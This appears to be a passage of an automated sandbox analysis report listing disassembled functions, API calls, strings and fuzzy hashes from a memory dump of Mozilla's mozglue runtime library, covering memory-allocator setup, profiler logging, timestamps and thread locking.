API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction ID: b8a4fbac2efcb96a32d5c2e6a1e40db27ab5d879d583546039f975c505bbd21f
Opcode Fuzzy Hash: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction Fuzzy Hash: 88510531608A109FDB005BA4D80E7A577B8FB5631EF38465AE919A3F40DB31F884C7E2

Function 6C98D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C98D047
GetSystemInfo.KERNEL32(?), ref: 6C98D093
__Init_thread_footer.LIBCMT ref: 6C98D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C98D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C98D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C98D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C98D1B1

Strings

<jemalloc>, xrefs: 6C98D268, 6C98D311
Compile-time page size does not divide the runtime one., xrefs: 6C98D26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C98D322
MALLOC_OPTIONS, xrefs: 6C98D0CB
MOZ_CRASH(), xrefs: 6C98D277

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction ID: bd55a90260161550d85c816f729a0fabb3bfec874916e14820055cbf37d57902
Opcode Fuzzy Hash: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction Fuzzy Hash: EE811871B0AA02DBEB04DF68C944B69B7B5FB56B04F20491AE901B7B80D771F880CBD1

Function 6C965E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

GetCurrentThreadId.KERNEL32 ref: 6C965EAB
GetCurrentThreadId.KERNEL32 ref: 6C965EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C966017

Part of subcall function 6C954310: moz_xmalloc.MOZGLUE(00000010,?,6C9542D2), ref: 6C95436A
Part of subcall function 6C954310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9542D2), ref: 6C954387

moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
GetCurrentProcess.KERNEL32 ref: 6C965F53
GetCurrentThread.KERNEL32 ref: 6C965F5C
GetCurrentProcess.KERNEL32 ref: 6C965F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C96605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C9660CC

Strings

GeckoMain, xrefs: 6C965ECE, 6C966015

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction ID: fe2a2cd9137c1a3b352bfc4f8bd3c8f569d5e34e782df34f2a83b2abc3ece42a
Opcode Fuzzy Hash: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction Fuzzy Hash: F871BFB0A09740DFD710DF25C480A6ABBF0BF69308F54496DE48687F92D730E998CB92

Function 6C969590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C953217
Part of subcall function 6C9531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C953236
Part of subcall function 6C9531C0: FreeLibrary.KERNEL32 ref: 6C95324B
Part of subcall function 6C9531C0: __Init_thread_footer.LIBCMT ref: 6C953260
Part of subcall function 6C9531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C95327F
Part of subcall function 6C9531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95328E
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532AB
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532D1
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9532E5
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

NtMapViewOfSection, xrefs: 6C969701
ntdll.dll, xrefs: 6C9696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
MapViewOfFileNuma2, xrefs: 6C9697B1

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction ID: ad7bde9eeb5b4c124e74dcc735da0b360ff8e9eaf5045ce9313fcdfbf664f9e2
Opcode Fuzzy Hash: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction Fuzzy Hash: A361E871608B05DBEF00CF65D885BDA7BB5EB4AB18F218519E915A7BC0D730F884CB91

Function 6C967FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C968007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C96801D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C96802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C96803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C96808D

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C96809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C968133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C968149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C968167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C96817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C968199

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction ID: 65d4232a91dd285b52f2b3a9989be4e44a64ab7fc317eff88c13f0904f252403
Opcode Fuzzy Hash: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction Fuzzy Hash: 8A5196B1E001449BEF10DFA6DC849DFB7B9AF69224F250525E815E7781E730D904CBA2

Function 6C9B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6694
GetThreadId.KERNEL32(?), ref: 6C9B66B1
GetCurrentThreadId.KERNEL32 ref: 6C9B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9B66E1
EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6734
GetCurrentProcess.KERNEL32 ref: 6C9B673A
LeaveCriticalSection.KERNEL32(6C9DF618), ref: 6C9B676C
GetCurrentThread.KERNEL32 ref: 6C9B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9B6868
RtlCaptureContext.NTDLL ref: 6C9B687F

Strings

WalkStack64, xrefs: 6C9B6890

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction ID: 7c12e1498edf45aa59936eb09e11e5efdcb7c3a4f13503f9025c66312e0df1ec
Opcode Fuzzy Hash: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction Fuzzy Hash: 3451BA71A09701AFDB15CF24C884A5BBBF8BF89714F10892DF999A7640D770F948CB92

Function 6C99DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99DE73
GetCurrentThreadId.KERNEL32 ref: 6C99DF7D
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DFC9
GetCurrentThreadId.KERNEL32 ref: 6C99DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Strings

<none>, xrefs: 6C99DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C99DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C99E00E

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction ID: c88251a2a4174e7d531eee6086474c1a255687f447204ce14e138000e4d58790
Opcode Fuzzy Hash: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction Fuzzy Hash: 9F411632705A119FDB109F64C8497AE7779EB9530DF284019E90AA7F01CB30F855CBE2

Function 6C9AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD52A
GetCurrentThreadId.KERNEL32 ref: 6C9AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD55F
free.MOZGLUE(00000000), ref: 6C9AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD652
GetCurrentThreadId.KERNEL32 ref: 6C9AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD6A2

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction ID: 68bd373f28a8817a722e4300504dce52bd0854999d4ed2a5bf06be0fe8af245e
Opcode Fuzzy Hash: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction Fuzzy Hash: 92516CB1608B05DFC704DF65C484A9ABBB4FF89358F108A2EE95A97710DB30F985CB91

Function 6C975670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C975744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9757BC
GetTickCount64.KERNEL32 ref: 6C9758CB
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9758F3
__aulldiv.LIBCMT ref: 6C975945
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9DF638,?,?,?,?), ref: 6C9759E9

Strings

MOZ_APP_RESTART, xrefs: 6C9756CC

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction ID: bb7ff651eae94081bea50f32eb7a2595acfb432eff971e952c837c617aba6349
Opcode Fuzzy Hash: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction Fuzzy Hash: 39C17B31A0D7449BDB05CF28C44166AB7F1BFDA718F558A1DE8C4A7A60E730E885CB92

Function 6C99EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EC8C

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99ECA1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C99ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99ED19
CloseHandle.KERNEL32(?), ref: 6C99ED28
free.MOZGLUE(00000000), ref: 6C99ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C99EC94

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction ID: 70f63d3fafa89faf754d6faa4af9d2e5a158a95f6ecc2334fac8ed53db4be5fc
Opcode Fuzzy Hash: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction Fuzzy Hash: C121E575604904AFDB009F64DC09A9A3779FB5626DF288210FD18A7B41DB31E845CBF1

Function 6C998ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C95EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C99B392,?,?,00000001), ref: 6C9991F4

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Strings

timeline-overview, xrefs: 6C99907A
data, xrefs: 6C9990E8
marker-chart, xrefs: 6C99905E
name, xrefs: 6C998F16
timeline-memory, xrefs: 6C999088
stack-chart, xrefs: 6C9990B2
timeline-ipc, xrefs: 6C999096
timeline-fileio, xrefs: 6C9990A4
marker-table, xrefs: 6C99906C

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction ID: 618ba5d754fdee7efc7bfc10d229741b723f6b50baf2371298d3e58226ead686
Opcode Fuzzy Hash: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
